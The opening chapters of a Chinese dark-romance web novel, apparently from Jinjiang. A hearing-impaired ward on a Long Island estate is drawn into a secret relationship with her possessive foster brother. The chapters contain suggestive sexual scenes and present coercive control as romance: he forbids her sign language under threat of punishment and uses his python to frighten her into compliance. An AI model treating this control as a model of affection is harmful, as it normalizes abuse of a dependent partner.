《恶犬品德》 1. Salisbury 春梦山火,形骸放浪 痴心劣骨扬灰 恶犬唯一品德 是宁肯愚爱焚身 【不可以没有主人】 ——《恶犬品德》,文/宝光相直 2026.5.30晋江文学城首发,感谢支持正版,祝愉快。 - 纽约州十月中旬,天气和国内东部城市差不多,秋凉,降雨。 长岛[红谷庄园]从傍晚开始,亮起万圣前夕的节庆灯火,贵宾云集,管弦乐悠扬。 埃德蒙家族的上流酒会刚举办两个钟头,天降簌簌刷刷的冷雨。 主人和宾客都在主楼玻璃宴厅,家佣低声交谈着,匆忙将广场草坪上的布置物搬回室内。 温嘉窈原本在露台那边独自安静,经过连廊往主楼走时,看见未及收起的长桌上,还露天摆着一排桌花和几支烛台。 雨水打落花瓣,黏在桌上会很难清理。她提裙走进雨里去收起它们。 她住这里三年,习惯性帮忙。 一怀抱着好几只花瓶,深红玫瑰搭黑金鸢尾色彩明烈,与一身雾白长裙,肤色浅淡的东方清冷美人配衬,在朦朦水汽中分外对比凸显。 不搭,但十足装点彼此美丽。 “温小姐,十分感谢,还请不要淋雨受凉。”胖胖的女佣走上前接走东西,对她道谢。 她说“不客气”,配合简略的手语。 “嘉窈,你在那儿做什么?大家都在找你玩呢。”一个中年女声操着高贵腔调在不远处叫她。 温嘉窈抬头望过去,是苏阿姨的朋友,身份显赫,但温嘉窈并不熟识。 她虽不明白,还是温顺走过去。 白人贵妇卡罗拉自然笑问:“今天你的耳朵还舒服吗?” 温嘉窈礼貌打招呼,点点头表示一切都好,跟随女人往宴厅走。 “刚才我听见Su接电话,是Salisbury特意打回来的,嘱咐厨房别上太刺激的冷盘,说你最近适应天气容易耳朵不舒服。”女人笑意盈盈说着刚才的见闻, “我看着Salisbury长大,他从没对别人这样关心到生活细节里。” 温嘉窈抿唇微笑默认,请问:“苏阿姨去哪了?” 靳苏是红谷庄园女主人,是大学前把她从国内接过来的恩人, 以及,靳妄的妈妈。 “Su去另一边见客人了,你来和我们一起吧。” 女人挽起她的手臂,将她带进主宴厅的玻璃门。 璨黄繁复的水晶灯折射光芒,晃了下眼,年轻的千金名媛们围拢上来,对她说话。 “我们刚刚正在谈论你,打赌今晚Salisbury会不会为你回来,嘉……” 说话的金发少女在念到她的名字时卡了壳,左右环顾一下。 “嘉窈,”旁边的高瘦女生立马接上蹩脚读音,“Salisbury平时总这么叫你,对吧?” 温嘉窈没在意她们寒暄中略带的尴尬,也没纠正她的说法,浅笑回应。 几只手将她接过,拉进舞池。 年纪相仿的女孩儿们簇拥着她,有人注意到她耳侧,那套奢昂的装饰式助听器: “听说Salisbury去年专门找高定为你设计了一套助听器,就是它吗?” 温嘉窈下意识摸摸耳朵,点头说“是”。 也有人是知情者:“就是这套,我爸爸认识设计师,Salisbury那阵子为一个颜色磨了大半个月,设计师都快疯了。” 话落激起几声欢笑,舞步旋转交换,一位家庭健康顾问正好在女生们侧旁跳舞。 他见了温嘉窈,聊表关心:“温小姐最近听力恢复得怎么样?” “目前恢复稳定,感谢您的关心。”温嘉窈借提裙礼致意。 对方微笑还礼,衷心夸赞:“您最近状态转好,多亏Salisbury盯得紧,他比您自己还清楚复查周期。” 不等她回话,女孩儿们七嘴八舌又讨论开: “早听说Salisbury对这个妹妹很好。” “但重点是Salisbury那种人,居然也会有这么细腻的心思……” 讨论偶尔也会回到她身上: “诶,嘉窈,看不出来你交谊舞也跳得不错,有人教你吗?” 小阵哄笑响起:“谁教的还用问吗?” 原来讨论并没有回到她身上。她如实回答: “是Salisbury。” 她对自己不入流的身份有深刻认知。 即便是被苏阿姨以礼相待,体面接进来的“义女”,没有人能对她明着瞧不上。 但她也绝不是可以融入这个老钱门阀世界的存在。 她天然站在边缘,别人对她的礼貌,是出自好奇与审视。 以及最重要的,将她作为一架能和靳妄搭上关系的桥梁。 两支舞跳下来,让体力不算太好的温嘉窈感到些许吃力。 奈何姑娘们的兴致起来,催她赶紧换装,参加半匿名面具游戏。这是上流社会年轻人为了配合万圣夜前夕氛围,惯玩的先导环节。 她脚步匆促,又在侧厅门口的长廊边停下,缓了口气。 老管家Gill注意到她,走过来低声询问她要不要休息: “Salisbury刚电话交代过,您要是觉得吵,就让人把东侧花房的暖灯提前开了。” 苏阿姨不在,众人纷纷邀请,她不好扫兴。 “谢谢您Gill,我没问题。”温嘉窈直起身,戴上随机分配的兔子面具,走进偏厅,加入到年轻宾客席间。 说是假面游戏,其实刚刚在正厅舞池多少都打过照面,圈子就这么大,玩的无非就是谁礼服亮眼被人记住,谁对谁上心暧昧情愫。 半遮半掩,屡玩不厌。 温嘉窈一身柔白素裙,真丝绸面滑腻似湖水粼光,扭结设计收束细瘦柳腰。两根微宽吊带勒在薄肩,不规则裙摆下露出纤直的小腿。 黑长发松松盘起,皮肤如玉似雪。 兔子面具轮廓乖巧,粉色长耳根部点缀两簇绒毛。 轻缓步调带动裙摆摇曳,珠光缎面盈润流动,身影仿若笼在雾里的蒲公英,无声徐徐纷飞。 相较于欧美贵族女孩的鲜明奔放,温嘉窈降低存在感,站在纸醉金迷的男女之间,听他们聊遥远奢靡的话题,兀自神游出去…… 12h时差,这个点,远在家乡的外婆应该已经起床了。 等宴会结束,该再给外婆打个电话。 “嘉窈?” “嘉窈,到你抽牌了。” 手臂被碰了下,温嘉窈不得不回神,视线落在面前摊开的一列牌上。 视线在周围人手上观察片刻,她学着样子抽取三张扑克。 因为耳朵不好,学习日常语言已经占用大部分精力,社交方面她不擅长,玩乐游戏则更是一窍不通。 只是被逐渐嘈杂兴奋的氛围裹挟着,顺从地摊开手里的牌。 输赢定局,少爷小姐们欢呼起哄: “嘉窈的牌最小!输了哦。” “香槟还是红酒?你得选一杯。” “难道要嘉窈接受惩罚,她哥可是……” “怕什么,Salisbury今天不在。” 一个灰熊面具的男人声音格外突出,打断前者的话,站到温嘉窈身侧,微妙的玩笑意味透出面具, “听说那位少爷平时恨不得把你拴在眼皮子底下,可他今天整晚都不见人影,真稀奇。” 温嘉窈确信自己不认识这个人。这人从没在埃德蒙家族中心圈层的正式场合出现过,应该是外圈混进来的人物。 她无暇细想,环境太吵了,你一言我一语的交谈笑声,充斥在需要器械辅助的耳朵里,面具挡住人们的唇形,她无力去分辨每一种声音。 琳琅酒杯折射的光刺目不堪,她越发难以应付这种带游戏环节的派对。 灰熊男人替她挑了一杯红酒,转眼递到她面前,站位也离她更近了些。 “既然Salisbury不在,就当是给我们这些新朋友一个认识你的机会?”男人借着游戏惩罚名义交友,架得她下不来, “喝了它,我保证,今晚没人会说出去。” 温嘉窈溺在热闹里,不知道该不该拒绝,自己正在吃的药最好忌酒。 他们都在说“输了游戏总要有惩罚”、“遵守规则”什么的…… 耳后静脉血鼓动,突突跳响尖锐的刺鸣,心跳杂乱,是不擅应对的紧张感。 见她犹豫,那只酒杯离她嘴唇更近了些,几乎碰到面具上: “嘉窈小姐不会喝?没关系,来,我教你,保证不会让你呛到……” 温嘉窈下意识后缩脖子,绷紧脊背,退无可退。 微仰的后脑忽然碰到某种坚硬。 隔着衣料传来强烈温热,和熟悉的肌骨触感。 随后是一片潮湿的冷雨汽从背后包裹上来,压退四周充斥的酒香和脂粉甜味。 一只手,从她肩侧伸出来。 那手硕大,修长而骨感分明,带点漫不经心的漂亮。卫衣袖口随意堆卷起来,露出一截冷白劲力的腕骨,青蓝色静脉盘虬浮凸。 她听见背后头顶,男人的嗓音含混微哑,尾音 懒淡地翘着: “我不让她碰酒来着。” 低音合着他说话时胸腔的轻震,一齐挤入她骨缝里。 他长指按住高脚杯口上沿,将酒杯从她唇边平稳移开,截走。 仿若拎开一件不适合出现在小朋友面前的玩具。 动作堪称懒散,但那只酒杯却无论如何都动弹不得。 灰熊男人的手僵在原处,无法再进退。 全场顷刹安静。几个少爷手里的牌悬在半空,小姐们微张的嘴唇忘了合上,喧嚣催促声,窃窃私语声,都停止在这里。 她的耳朵终于得以解脱。 “靳……” 有人嘴快,只吐出个音节就生生咽回去。 谁想到Salisbury真的会为这个妹妹赶回来呢? 听到他的名字,温嘉窈起先松了口气,可很快,松懈的薄肩又更加紧绷起来。 靳妄从男人手里抽出杯子。 她细薄的脊背几乎贴上他的前胸。 距离近到他弯腰时,下颌堪堪擦过她发顶,而又维持游刃有余的分寸。 随着他直起身,水涨船高的影子将她全然覆盖吞噬。他唯独遮蔽了她头顶的光束,无声无息将她半圈进怀里。 靳妄替她喝了那杯酒。 锋利的喉结在她视野边缘滚动,酒液在咽喉滑滚的声音被过分安静的环境放大。 助听设备的精良,让温嘉窈似乎听见那声湿漉黏响的“咕咚”。 咽下最后一滴,靳妄随手将空杯搁在路过的侍者托盘上,一个多余动作都欠奉。 他扫了眼灰熊面具男,眼神如常松弛带笑,淡淡夹携着厉色的刀子: “别逗她,怕吵。” 像说给她听的,哄小孩似的轻飘。 说完他转而垂眸看向身前僵硬的温嘉窈,歪了歪头,视线穿过兔子面具,仿佛将她的困窘看透。 宴会厅灯光落在他眉眼间,将靳妄年轻的混血面庞照得有些旖旎薄情的好看。 “我妹妹不参加这个。” 这句盯着她,是对所有人说的。 依旧音量不高,如若石子投入深潭,一圈一圈的涟漪拨弄全场压抑的心跳。 他说完便收回手插进裤袋里,微微偏头,朝温嘉窈露出一个散漫的笑。 干净得不像刚颠覆了全场气氛的人。 “走了,”他说,腔调洋洋洒洒,撒娇似的怠惰,“我们不玩。” 靳妄只是给了个指令,转身就走。 看着他头也不回的背影,温嘉窈顾不上旁人的目光,摘下面具放在一旁,匆忙跟出去。 长廊幽远的灯光一盏盏亮起来。 靳妄走在前面,温嘉窈踩着自己不习惯的步调,努力跟上。 男人的背影仍有少年气的英挺,蓝色卫衣被雨雾洇湿,肩胛位置隐隐透出更深的水痕。 他步子长而阔,微湿的发尾略带卷翘,被随手向后拨了一把,露出光洁平整的额头。 雨打风吹,在他身上无伤贵气,反而更衬出力量感和松弛感揉混一体的天赋。 追不上。她不得不加快迈腿的频率,尽管有些吃力。 她以为他会去管家Gill提到的那间暖灯花房。 可是靳妄经过花房时,脚步没有半点停顿。 “Salisbury……”她在后面小声叫他的美国名字。 玻璃反射的暖光在他脸上一瞬划过,照亮他发梢的某滴水珠,又迅速被抛在身后。 两侧开始出现小型会客室和休息室,门扉紧闭,门缝里泄露出一线失真的灯影。 “…靳妄?”她还在试图叫住他。 长廊尽头拐了个弯,灯光骤降到朦胧暗度,只剩下壁灯隔很远一盏,光晕里浮着细密的水汽。 植物的腥甜气息混着雨后泥土的潮意,渗进鼻腔。 “哥哥——” 她真的没办法了。 “收声。”靳妄终于吝啬出一个简短回应,行止流畅地推开客用衣帽间的门。 那双对他而言过于低调的TFJago蓝白低帮运动鞋率先跨过门槛,紧随其后,是她的银色芭蕾小皮鞋匆忙跟了进去。 两种脚步落在羊绒地毯上,被吞没所有声息。 门在她身后缓缓合上。 长廊的灯光一盏盏暗下去。衣帽间感应灯渐次亮起,照亮深色木质柜壁。 靳妄转身,面对她。 在他背后,夜色透过落地窗的纱帘,随冷风盈涌,深蓝近黑,把一切划入模糊的边界。 温嘉窈看见男人对她张开手臂。 又听到他说:“帮我脱。” 2. 用嘴说 温嘉窈抿起嘴唇,好半天,站着不动。 “怎么?”靳妄歪头看过来,微微昂首,耷拉下薄锐眼皮。 尾音微勾,“不愿意?”令人辨不清他的情绪。 温嘉窈被他质询的凝视刺到,薄睫眨颤几下,小声嗫喏:“……不是。” 是的,她就是不愿意。 或者说至少,她不愿意在这里…… 客用衣帽间位于酒会主厅的侧门,靠近法式露台,是去往洗手间的必经之路。 此刻,房门没闭紧,外面不时掠过人影穿梭,宾客间模糊的笑语透过门缝渗进来。 这让温嘉窈十分忐忑不安。 “靳妄…”她又叫他,字尾似软水轻滴。 比起随时有人推门而入,温嘉窈更恐惧于被人撞见靳妄在这里发疯。 所以她清楚自己必须安抚。 只是靳妄身高超过一米九,温嘉窈到他胸口。她不得不伸手拽住男人的衣袖,往下扯了扯示意他,“低一点,哥哥。” 主动叫哥哥,是常用的安抚方式。 靳妄却只敛眸斜她一眼,抽回她手中的袖口,睨着她,懒洋洋站着不动。 他不肯配合,温嘉窈只有自己稍稍踮起脚,抬手拉下他的外套拉链,纤白手指自然地伸进衣服里,为他缓缓剥下身上那件深蓝色的连帽开衫。 指腹摸到他的外套泛着潮意,似乎回来路上淋过雨。 温嘉窈退开一点,伸手过去卷起他的白色T恤下摆,透过掀开的缝,恍然露出一截冷白腰腹。 薄肌窄腰,劲瘦得性感,斥足荷尔蒙力量美学。 女孩的耳根悄悄涨红起来。 这时,手腕蓦地被人扣紧,温嘉窈微惊,不解抬眸望向他。 “现在知道叫哥哥了?” 靳妄口吻轻漫,讥嘲的意味从字句里滴下来, “下午让你去球场给我送水,你却偷偷跑回来。” 说着他放开她,微微欠身,手抬起落在女孩的发顶,轻轻揉弄几下她的头,貌似宠溺纵容。 可他倏尔略挑眉尾,意味不明地,低淡笑“啧”了声。 轻漫又轻蔑。 “窈窈长大了。”靳妄扯起唇角,慵懒腔调浸着浓烈戏谑, “可以不听哥哥的话了,是么。” 温嘉窈蹙起眉,尝试反对:“我没有……” 然而当她完全对上靳妄的那双眸,瞬间又被浇灭了气势。 他拥有一双极具视觉美感的眼眸。琉璃蓝瞳如深海冷凉无波,流光剔亮,通透而无杂质。 令他浓颜骨相侵略性强烈。 而现在靳妄正盯着她,光影落染在他的蓝眸,仿若靡丽的蓝色火焰在他睫羽下燃烧,灼在她脸上,阴沉发黏,致人迷幻的诡谲。 温嘉窈有点怕他那双会吃人的眼。 “是苏阿姨邀请我过来。”她是指靳妄的妈妈。 靳妄半眯起眼,慢吞吞收回她头上的手掌,懒漫插着裤兜,又不接话了。 这代表他并没有被这个理由所打动。 他还是不满意她的行为。 温嘉窈沉默地移开目光,更小声补充了句:“事情总要分轻重缓急的。” 靳妄仿佛听笑了,“所以我是轻。” 碧蓝的眸底却不见半点笑意,“急着赶回来被人盯上是重。” 不等女孩再开口,靳妄倏然再次压近。 他的身骨修拔,肩宽腿长,干净低奢的白T掩不住他年轻野兽感的体态,明锐又桀骜。 靳妄淡去情绪,唇角弧度压平,冷下声线叫她的名字:“温嘉窈。” 温嘉窈不自觉肩骨发颤,她紧张地看着他,近乎下意识地后退脚步。 “还是说,其实你故意的。”他还在逼近。 “什、什么……” “今晚故意在酒会上,等着我回来给你收场。” 女孩立刻用力摇头,“不是的,我——” 她没出声,以手语来回答。 是从前听障带来的不便,让她手语打得娴熟又漂亮。也让她养成了每次着急起来,就习惯性要用手语来代替语言表达。 像人在情急之下会说母语那样。 但靳妄不喜欢。 确切来说,是靳妄不允许她日常生活中用手语。 尤其在他面前。 “Youaskingtogetfu*kedhere?”(你是想在这里挨*c对么?) 果然,温嘉窈发现男人脸色当即沉了下去, “用嘴说话。” 因为听觉障碍,温嘉窈初时的语言系统也有些退化。她从大一来到这里开始治疗耳朵,同时锻炼口语。 重新练习说话很难,完全戒掉手语的习惯也并不简单。 靳妄在这个过程中没少陪她下功夫。 每当她图省事或者犯懒用手语交流时,都会被靳妄从床上教育到床下,告诉她“这张嘴不想说话,就用来做点别的”。 温嘉窈现在不想惹怒他,更不想在这里被惩罚,连忙开口:“我只是…不想表现得太小家子气,给哥哥丢脸……” 说话间,后背贴抵在整面镜墙,女孩才恍然惊觉自己被逼退到了绝路。 气氛忽然间落入诡异的阒寂。 此时,即便听力不佳,温嘉窈凭借助听器也足以听清门缝之外,管家对侍者正在低声交代事情,还有女宾从长廊经过,厚重裙摆扫过地毯的窸窣音。 “靳妄,我们不能在这里单独待太久。”温嘉窈变得焦急起来,“会被人发现——” 话音未落,突然有人从外面推门想进来。 温嘉窈吓得瞬间屏住呼吸,眼看着房门被推开半扇,刹那里靳妄更快一步,抬手“砰”地直接扣住门板。 温嘉窈被震得浑身一颤,在惊诧中仰头望向男人。 靳妄手撑着门板,高大修拔的身躯倾投下阴影将她完全困罩,视线凌厉而压迫,令她无从躲闪。 他欺身凑上来,另一手顺势落在她腰上箍紧,把人勾过来。 如此肆无忌惮,压根没把随时有人闯进来的危机当回事。 温嘉窈又惊又羞,手指不自觉捉紧他的小臂。 彼此距离近到不过三指,熟悉的男性香调源源不断地刺激她的嗅觉神经。 他显然是下午打完球后洗过澡。苦柑橘沐浴香未散尽,后调转瞬沉入潮湿皮革混着乌木香,辛辣感斥足野欲的贵气,危险又散漫。 温嘉窈浸在他的体香中,心神不宁,忍不住催促:“我们还是快点出去吧?” 今夜庄园派对,家族中所有长辈都回来了。 他们之间的关系绝不能被发现。 尤其,是靳妄的母亲。 想到这里,温嘉窈不得不继续哄他:“下次,下次我一定乖乖听话,去给哥哥送水。” “不要下次。”他懒声道。 温嘉窈堂皇地看着他,也看到在他身后,整墙都是嵌入式的胡桃木高柜,上面挂满了宾客寄存的羊绒大衣、皮草披肩与各式礼帽。 墙角立着两座黄铜伞架,里面斜斜插满黑伞与手杖。 方方面面,无处不象征着上流人士的精致与高贵。 是的,他的家族是文明优雅的。 靳妄也本该是由内而外绅士的。 可此刻男人低哑地笑起来,修长指骨轻拍了拍她的脸蛋,神色浮佻不羁,“这次你没送的水,” 字句放浪,“哥哥会用其他方式,亲自拿回来。” “唔……” 女孩的碎音嘤咛,偶然从门缝里泄露出来。 又被长廊上宾客间的谈笑声掩过去,变为无人知晓的密音。 有宾客反应露台旁的客用衣帽间进不去,女佣礼貌致歉后,不慌不忙地安排客人去另外的几间更衣室。 过了一会儿,老管家Gill得到女佣的汇报,过来衣帽间查看情况。 不料还没等抬手敲门,房门突然被人拉开。 见到靳妄从里面走出来,Gill微微颔首躬身,“晚上好,少爷。” “Gill,我不好。”靳妄笑得没正形,懒洋洋搭上老管家的肩,带着他往主厅走,“我现在很饿。” 老管家再熟悉不过这位小少爷的脾性,礼让开他勾肩搭背的行为,保持尊卑有序,做出“请”的手势。 路上,Gill告诉他:“夫人告诉我您今晚不会回庄园。很意外见到您。” 靳妄简短盖过:“顺路。” 两人走远后,后方衣帽间的房门再次被拉开。 温嘉窈小心地探出半个头,一双晶亮盈光的眼睛露在外面,十分警惕地左右张望了眼,确定周围恰好没人,双手拎起裙摆快步跑开。 回到主宴厅,那个头戴灰熊面具的男人已经从宴会上消失了。 和他一起消失的,还有酒桌前的大半座香槟墙。 “知道吗?波顿刚才唐突了温小姐,Salisbury让人把他摁在这儿喝香槟。” “Salisbury居然真的动怒了?” “你第一天知道那位少爷吗?平时散漫,就是不让碰他那个寄住的妹妹。刚才波顿喝到晕厥,才被人拖下去……” 周遭传来小声的议论,帮助温嘉窈弄清楚原委。 她低头,小心避开了议论中心。 折腾一晚上,温嘉窈有些累了,她打算回楼上房间休息。 经过甜点区时,女佣在低声吩咐年轻侍者:“卡罗拉女士需要一些点心,请你送过去。” 卡罗拉就是在雨中叫她的那位白人贵妇。 听到熟悉的名字,温嘉窈下意识多留意了眼,在发现年轻侍者的端盘中出现了坚果曲奇时,她略微思索了下。 随即她停下脚步,很自然地伸手从托盘里拿走那份坚果曲奇,轻声对侍者说:“这个看起来味道不错,我先拿走了,谢谢。” 说着,她又顺手从旁边摆盘中换了份无坚果的点心,放回侍者的托盘中。 整个过程十分流畅,甚至年轻侍者有些没反应过来。 “卡罗拉女士对坚果过敏。”这时,老管家Gill不知从哪里无声出现。 他朝温嘉窈点头示意 ,然后面色略显几分严肃,告诉年轻侍者,“你需要向温小姐道谢。” 年轻侍者这才意识到,如果不是刚才温嘉窈阻拦,自己今晚必然将酿成大祸。 他满眼感激地看向女孩,正欲开口道谢。 温嘉窈却只是柔和弯唇,“快去吧,不要让卡罗拉女士等久了。” 侍者说了声“谢谢您”,快步离开。 Gill随后温和告诉她:“夫人正在一层西侧的晨昏厅,您可以去那里找她。” 他口中的“夫人”,自然指的是靳妄的妈妈,靳苏, 温嘉窈微笑点点头,转身朝晨昏厅走去。 晨昏厅就是主人家的会客室,她猜这会儿那里应该会有不少人在,大概都是去跟这座庄园的女主人攀谈示好。 如果可以,其实温嘉窈并不喜欢凑这些热闹。 但出于礼貌与教养,回房间之前,她应该去跟苏阿姨问声好。毕竟苏阿姨是恩人,如果没有她,自己不会有现在的好日子过。 可温嘉窈没想到的是,她刚刚走出电梯,来到房间门口还没来得及进去,里面的男人下一秒说出的话,让她整个人都惊愣在原地。 “听说你上周带了女孩回上东区别墅。”说话的男人是靳妄同父异母的兄长。 他倚着壁炉边的高背椅,笑意温雅,语调却轻慢得近乎刻薄,“把人玩大了,搞到发高烧,甚至半夜还惊动了家庭医生?” 温嘉窈脊背僵直,惶恐之下心脏被骤然揪紧,脚上半步也挪不动,浑身每一根神经都绷起来。 靳妄他哥没说错。 因为那个被“玩到高烧”的女孩,就是她自己。 平时要上学,所以她跟靳妄是不住在庄园的。他们单独住,在上东区的联排别墅,那里位于纽约市的中心CBD,距离哥大更近更方便。 靳苏给她跟靳妄安排的,是联排别墅内的不同楼层。 可事实上,没人知道他们不仅睡在同一层,同一个房间。 甚至还是同一张床…… 上周,不过是因为她淋到雨又没有等他一起洗澡,靳妄就一脚踹开浴室门,就地进行。 脑中霎时闪过无数个那晚的画面,温嘉窈感到脸颊烫红得厉害,她闭了闭眼睛,不敢再过多回想那个疯狂的夜晚。 这时,里面传来靳苏严厉质问,压着明显的不悦:“靳妄,说清楚,到底怎么回事?” 温嘉窈被吓得瑟抖了下,她在惊悸中望进去。 却见到对面的靳妄懒懒掀起眼皮,若有所觉般,视线径直地朝她扫过来。 温嘉窈来不及躲开目光,生生撞进男人眼里。 “捕风捉影。” 靳妄缓缓勾挑嘴角,倒还有好心情用了个成语。视线若有似无落在她脸上,语气疑问, “会有这么不经玩的人么?” 温嘉窈根本不敢再听,更不敢再进去,转身就跑。甚至等不及坐电梯,她提着裙摆迈上旁边的螺旋步梯,一口气跑上了三楼。 她的房间被安排在三楼。 正上方的四楼,一整层都属于靳妄的地盘。 回到自己的房间,关上门,温嘉窈低头缓喘了好一会儿,才稍稍回过点神来。 紧绷的神经得到放松,她很快感觉到疲惫,强撑着精神脱下身上的礼服。 简单淋浴后,便裹着浴巾走出了浴室。 来到落地镜前,正要穿衣服,温嘉窈忽然瞥见自己大腿上印有十分醒目的吻痕。不止一个,每个都是殷浓的深红色。 甚至有的吻痕边缘还有一圈牙印。 温嘉窈:“……” 都是靳妄在衣帽间弄的。 品德败坏的劣徒。 靳妄还说晚点再找她算账。 但估计他这会儿正挨训呢。加上酒会没那么快结束,作为主人家的少爷,平时又最喜欢派对狂欢的人,他今晚肯定没空搭理自己。 这么想着,温嘉窈对着镜子稍稍弯唇,快速穿上睡衣睡裤,刚爬上床就有点昏昏欲睡了。 后半夜半梦半醒之间,一个巨雷轰然炸裂。 温嘉窈被这撕天毁地般震响惊醒。迷迷蒙蒙地睁开眼,一道电光闪白,暴雨迟迟未下,天地全然陷入这片骇人的死寂中。 下一瞬,露台上骤然落下一只球。 “哒、哒哒——” “哒——” 球体弹跳的声音空洞又突兀,落在这样阴森的雷电夜里,惊悚可怖,仿佛是阴府使者踩着雷光来敲窗,催命索魂。 温嘉窈被吓得睡意全无,手指紧紧攥着被子,指节泛白。 目光都无法聚焦,球体诡异的弹跳声在黑暗中被无限放大,越缓慢,越恐怖,令她后颈发凉。 偏在这时,猝然一道手机铃声刺耳地响起。 温嘉窈“噌”地一下从床上坐起来,几乎尖叫出声。她颤抖着手指去枕边摸索,拿起手机,整个人抖得不受控制,慌乱滑下接听键。 电话那端,是靳妄。 “奶糖的玩具掉下去了。” 男人声腔倦怠,命令她,“捡上来,现在。” 3. 抓紧他 电话没有挂断。 温嘉窈一手抓着弹力玩具球,一手举着电话,摸着昏黑缓慢上楼。 她的腿在抖,控制不住来自内心深处的恐惧。 她不知道奶糖在什么位置,更不想上来给它送玩具,她躲都来不及。 嘶… 昏暗中传来幻听般的细微声响。 “嘶嘶……” 原来不是幻听。 脚步钉死原地,她再也上不动任何一级台阶。发凉指尖攥紧手机,通话中的微弱光亮只照出她惨白脸色。 她的听觉又开始涣散, 分不清那低迷的摩擦声,是电话底噪,还是有什么滑腻的东西在耳边游移。 直到浓稠黑暗里,她看见一条尾梢从扶手的阴影里垂落下来。 微微蜷曲着,在空中缓慢晃动。 “!!”她瞳孔骤缩,几欲腿软,摇晃一下仰靠着墙壁才勉强支撑住身形。 她想尖叫,偏偏电话里飘出一句音调散漫的提醒,如同扼住她的咽喉—— “拿稳它的玩具。” “脱手的话,它会来找你。” 温嘉窈听着靳妄的声音,脊背激起一层细密的颗粒,双眼紧盯眼前,那条盘踞在木扶手上的粗壮轮廓,鳞片在昏暗中泛出幽微冷光。 奶糖是靳妄养的一条白化缅甸蟒,5米多长,比她的大腿还粗。 它原来就在这里。 离她这么近。 那东西在动,肌肉蠕行,腹鳞刮过木头,发出阴森的沙沙声。 它知道她的存在,昂起头,黑暗中将一副竖瞳对准了她。 温嘉窈再也忍不住,踉踉跄跄向楼上跑去,细瘦身骨紧贴墙根,离扶手远远的。 她不管不顾地奔逃,幸好靳妄房间的门没有关死,她一把推开房门冲进去。 电话早在惊惶中误触挂断,攥紧小球的那只手慌张关上门,还不忘反锁。 背抵门板,温嘉窈劫后余生的喘息声破碎摇颤。 窗外滂沱大雨,砸落如密鼓,衬得室内愈发安静。 她若有所觉地抬头。 暗色里,靳妄半靠在沙发上,浴袍松松垮垮,腰间随意系起一个结,领口大敞,让男性凌厉的锁骨勾描出来,一路延伸至腰腹劲硕的块垒,光影性感。 空气里弥漫着乌木苦橘的沉郁清冽,是他洗过澡后的冷感香气。 她呼吸顿滞,心跳更加仓皇。 “害怕?”靳妄有些许兴味,蓝眸眯出个笑,追问, “是怕我,还是怕蛇?” 都怕。 但她知道,说实话会惹怒靳妄。 咽了下干痛的嗓子,她回答:“我……我永远不会害怕哥哥。” “不怕还站那么远?”靳妄笑着问。 温嘉窈仍在犹豫。 上楼梯时,本能地想逃避奶糖,进了门,又本能地想逃避靳妄。 门外走廊忽然传来一阵簌簌声,鳞片游移在地毯上,行迹湿冷黏腻,到门缝前,停住了。 温嘉窈低头看见自己手里的弹力球。她把奶糖的玩具带进来,它才会跟过来。 那股森冷的腥气仿佛已渗透进来,她后背一下从门边弹开,想离门外的蛇远一些。 这使她的脚步不自觉向靳妄走了几步。 男人并不介意她靠近的初衷,只是勾勾手指:“再近点。” 人在极度紧张时,会下意识听话,温嘉窈顺从靠近,乖巧的样子落在男人深沃的眼眸。 她停在离他还有段距离的地方,被捉住手腕拽上前,跌坐在他的腿上,男人精壮有力的腕臂环箍住她的细瘦腰肢。 “站这么远,哥哥怎么亲你?” 靳妄不再装了。 温嘉窈手掌抵在他紧实胸口,那点力气不够看,唇齿吐露出细碎的解释:“靳妄…我只是、来送玩具的。” 她怕他生气, “这里是庄园,我们不能被发现。” 靳妄敛起眼底淡淡的笑意,但还没生气,反而松开握住她腰肢的手,任她来去: “好啊,那你出去吧。” 温嘉窈知道,他松手不代表放过,只是笃定她畏惧门外的蟒蛇,不敢出去。 她的悲欢恐惧,全部都在他的掌控中。 温嘉窈咬唇沉吟很久,再仰头看他时,是态度柔软的商量: “那…亲一下,哥哥就把奶糖关回笼子里好不好?” 靳妄看着她贴在他胸口那点毫无威力的手劲,舌尖顶抵住犬齿,唇角缓缓勾挑, “哦,原来窈窈深夜上楼,是想让哥哥亲你。” 他没回答,反而故意曲解。 她只好垂下眼,就当默认。 却在温嘉窈下意识闭眼接受他的吻时,靳妄又突然格外地耐心,他没着急亲她,蓝眸扫量她身上绵软严实的长袖长裤: “既然想被亲,怎么不穿我买的睡衣?” 温嘉窈想到那些布料稀少、只能勉强遮住女性部位的衣裙,自己在上东区别墅里,没少被他逼着穿。 她说出自己的理由:“那些衣服…在庄园里穿不太合适,我怕被人看到……唔…” 靳妄的耐心结束在此刻,唇舌交缠。 他扣住她的纤颈,指尖插进发根,哑声命令她“张嘴”。 双唇相抵,还不等她做出反应,有力的长舌撬开她唇齿,野蛮地径直入侵她口腔,将这一片温柔地搅得不可安宁。 他每次都这样。 呼吸混乱中,温嘉窈正觉得舌根被缠得发酸。 他下一个指令就接踵而来: “撩起来。” 她只是略微迟疑,下唇就被惩罚性地咬疼一口。 “嘶嗯……”她不敢再懈怠,轻轻撩起睡衣下摆。 睡裤是低腰设计,半遮半掩地显露出腰侧刺目的红痕,在暗光中清晰乍泄。 同样也是他的嘴唇留下的痕迹。 靳妄掐住她的腰肢,低头凝视零星暴露的几枚草莓印,眸色滑深,仿佛是在确认自己的作品。 温嘉窈的肩膀瑟颤起来,想要说些什么,舌尖又被闯入者勾了出去。 勾去他唇间,饱经吮吻,一下比一下更辗转用力,仿似要将她这截柔软吞食入腹。 靳妄让她:“抓紧我。” 她动弹不得,腰窝抵靠在沙发扶手上,没有闪躲的余地。 “我教过你的。”男人半阖着眼,蓝眸低垂,俯视她羞赧的表情,纠缠唇间泄出含混的字音。 很难说他蒙昧的表情,是散漫,还是贪婪。 温嘉窈在混沌中抬手,摸索着抓住了他, 莹润的纤细手指已经十足努力,却仍然如同雪水拢不住一截赤红炭火,被烧得整条手臂都在打抖。握不紧也松不开。 靳妄的气息倾塌下来,低哑尾音断裂成一声叹息: “Wisegirl…” 他手臂骤然收拢,将她箍进怀里,抱到她肋骨发疼,紧得她的胸口贴紧他的心跳。 身体轻易被他提起来一些,弹力球在动作中脱了手,砸在地板上,弹起,又落下,橡胶与木地板碰撞出沉闷的“咚、咚”响声,绷紧她心跳的鼓点。 同一瞬间,门外传来急促的鳞片刮擦声,然后, “砰!” 一声闷响,沉重地撞在门板上。 蛇类对震动很敏感,奶糖感受到玩具跳动,在蹭门。 想象到那个画面,温嘉窈浑身一颤,本能地抓紧了手里唯一能抓住的东西。 靳妄闷出短促的哼声,窗外大雨如注,模糊了所有声响,冷雨浇在玻璃蜿蜒而下,无数透明,密密蛇行。 